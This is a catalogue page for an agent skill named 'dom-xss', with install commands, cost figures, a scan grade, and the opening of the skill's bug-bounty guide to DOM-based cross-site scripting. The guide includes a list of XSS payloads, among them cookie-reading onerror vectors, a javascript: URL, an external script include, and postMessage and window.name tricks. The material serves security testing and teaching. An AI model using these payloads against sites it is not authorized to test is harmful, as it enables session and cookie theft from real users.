Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ShulkwiSEC/bb-huge --skill dom-xssgit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/dom-xss)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/dom-xss"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/dom-xss/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/dom-xss"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/dom-xss.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00117 | $0.01841 |
| Opus 5 | $0.00059 | $0.00920 |
| Sonnet 5 | $0.00023 | $0.00368 |
| Haiku 4.5 | $0.00012 | $0.00184 |
Grade A, and why
dom-xss scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 126 lines — stays where its author put it; the contents beside it link to each section on GitHub.
DOM-Based Cross-Site Scripting (XSS)
What Is Broken and Why
DOM XSS arises when client-side JavaScript takes data from a controllable source (URL fragment, query string, referrer, postMessage, cookie) and writes it to a dangerous sink that interprets HTML or executes code, all without the data ever being sent to or processed by the server. This means server-side output encoding does not prevent it, and proxy-based scanners may miss it entirely. The root cause is JavaScript treating user-controlled DOM properties as trusted content.
Key Signals
- JavaScript reading from:
location.hash,location.search,location.href,document.referrer,window.name,document.cookie,postMessageevent data - JavaScript writing to:
document.write(),innerHTML,outerHTML,insertAdjacentHTML,eval(),setTimeout(string),setInterval(string),location.href = ...,srcattribute assignment,jQuery.html(),jQuery.append() - Single-page applications (SPAs) with client-side routing
- JavaScript dynamically building page content from URL parameters
- Event handler attributes set from JavaScript using string-based eval-equivalent constructs
Methodology
- Crawl the application and collect all JavaScript files, inline scripts, and event handlers.
- Search for DOM source references:
location.hash,location.search,document.referrer,window.name. - Trace data flow from each source to identify all sinks it reaches.
- Identify the context in which the sink operates (HTML, JavaScript, URL, CSS).
- Craft a context-appropriate payload and deliver via the controllable source.
- Test in a real browser — automated tools miss browser-behavior-dependent execution.
- Pay attention to: script execution in event handlers, off-site CSS/script includes, SPA route handling.
Payloads & Tools
# Fragment-based DOM XSS (payload never sent to server)
TARGET/page#<script>alert(1)</script>
TARGET/page#<img src=x onerror=alert(document.cookie)>
# Hash-based with document.write sink
# Vulnerable code: document.write("Location: " + document.location.href)
TARGET/page#<script>alert(1)</script>
# innerHTML sink via URL parameter
# Vulnerable code: document.getElementById('x').innerHTML = location.hash.substring(1)
TARGET/page#<img src=x onerror=alert(1)>
# eval() sink
# Vulnerable code: eval('var x = "' + location.hash.substring(1) + '"')
TARGET/page#"; alert(1); var y="
# location.href sink (open redirect + XSS)
# Vulnerable code: window.location = decodeURIComponent(location.hash.substring(1))
TARGET/page#javascript:alert(document.cookie)
# jQuery .html() sink
TARGET/page?search=<img src=x onerror=alert(1)>
# document.write with script src
TARGET/page?lang=<script src=//VICTIM/xss.js>
# window.name trick (survives navigation)
# Attacker page sets: window.name = "<img src=x onerror=alert(1)>"
# Victim app reads: document.getElementById('x').innerHTML = window.name
# postMessage XSS
# Attacker sends: targetWindow.postMessage("<img src=x onerror=alert(1)>", "*")
# Victim app: window.addEventListener("message", (e) => { div.innerHTML = e.data; })
# Burp DOM Invader
# Enable in Burp's embedded browser -> Extensions -> DOM Invader
# Automatically injects canary into all sources and monitors sinks
# Manual Chrome DevTools approach
# Sources tab: search all JS for: innerHTML, document.write, eval, location
# Console: monitor with: Object.defineProperty(document, 'cookie', {get: () => {debugger; return ''}})
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 126 lines · 117 tokens per session scan A e24bc660f910
dom-xss is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 117 tokens to every session and 1,841 once invoked, about $0.0006 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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